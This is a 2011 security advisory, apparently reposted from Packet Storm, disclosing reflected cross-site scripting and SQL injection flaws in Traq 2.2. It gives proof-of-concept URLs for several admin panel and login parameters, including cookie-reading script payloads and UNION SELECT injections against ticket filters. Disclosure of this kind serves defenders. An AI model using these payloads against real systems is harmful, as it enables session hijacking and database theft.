Traq 2.2 Cross Site Scripting / SQL Injection

2011-09-28T00:00:00
ID PACKETSTORM:105383
Type packetstorm
Reporter High-Tech Bridge SA
Modified 2011-09-28T00:00:00

Description

                                        
                                            `Vulnerability ID: HTB23046  
Reference: https://www.htbridge.ch/advisory/multiple_vulnerabilities_in_traq.html  
Product: Traq  
Vendor: Jack Polgar ( http://traqproject.org/ )   
Vulnerable Version: 2.2 and probably prior  
Tested Version: 2.2  
Vendor Notification: 07 September 2011   
Vulnerability Type: XSS, SQL Injection  
Risk level: High   
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ )   
  
Vulnerability Details:  
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Traq, which can be exploited to perform cross-site scripting and sql injection attacks.  
  
1) Input passed via the "edit" GET parameter is not properly sanitised before being returned to the user.  
This can be exploited to execute arbitrary HTML and script code in a administrator browser session in context of affected website.  
  
The following PoC code is available:  
  
http://[host]/admincp/components.php?edit=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E  
http://[host]/admincp/ticket_templates.php?edit=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E  
http://[host]/admincp/custom_fields.php?edit=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E  
http://[host]/admincp/groups.php?edit=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E  
  
2) Input passed via the "errors" GET parameter is not properly sanitised before being returned to the user.  
This can be exploited to execute arbitrary HTML and script code in a administrator browser session in context of affected website.  
  
The following PoC code is available:  
  
http://[host]/admincp/components.php?edit&error&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E  
http://[host]/admincp/groups.php?edit&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E  
http://[host]/admincp/milestones.php?edit&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E  
http://[host]/admincp/plugins.php?create&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E  
http://[host]/admincp/projects.php?edit&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E  
http://[host]/admincp/repositories.php?edit&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E  
http://[host]/admincp/users.php?edit&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E  
  
Successful exploitation of the vulnerabilities requires that "register_globals" is enabled.  
  
3) Input passed via the "goto" GET parameter is not properly sanitised before being returned to the user.  
This can be exploited to execute arbitrary HTML and script code in a user'r browser session in context of affected website.  
  
The following PoC code is available:  
  
http://[host]/user/login?goto=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E  
  
4) Input passed via the "sort","order","component","milestone","priority","severity","status","type","version" GET parameters is not properly sanitised before being used in a SQL query.  
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.  
  
The following PoC code is available:  
  
http://[host]/[PROJECT_ID]/tickets?sort=SQL_CODE_HERE  
http://[host]/[PROJECT_ID]/tickets?order=SQL_CODE_HERE  
http://[host]/[PROJECT_ID]/tickets?columns=ticket&component=1%29/**/union/**/select/**/1,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%281  
http://[host]/[PROJECT_ID]/tickets?columns=ticket&milestone=1%29/**/union/**/select/**/1,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%281  
http://[host]/[PROJECT_ID]/tickets?columns=ticket&priority=1%29/**/union/**/select/**/1,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%281  
http://[host]/[PROJECT_ID]/tickets?columns=ticket&severity=1%29/**/union/**/select/**/1,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%281  
http://[host]/[PROJECT_ID]/tickets?columns=ticket&status=1%29/**/union/**/select/**/1,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%281  
http://[host]/[PROJECT_ID]/tickets?columns=ticket&type=1%29/**/union/**/select/**/1,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%281  
http://[host]/[PROJECT_ID]/tickets?columns=ticket&version=1%29/**/union/**/select/**/1,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%281  
  
  
`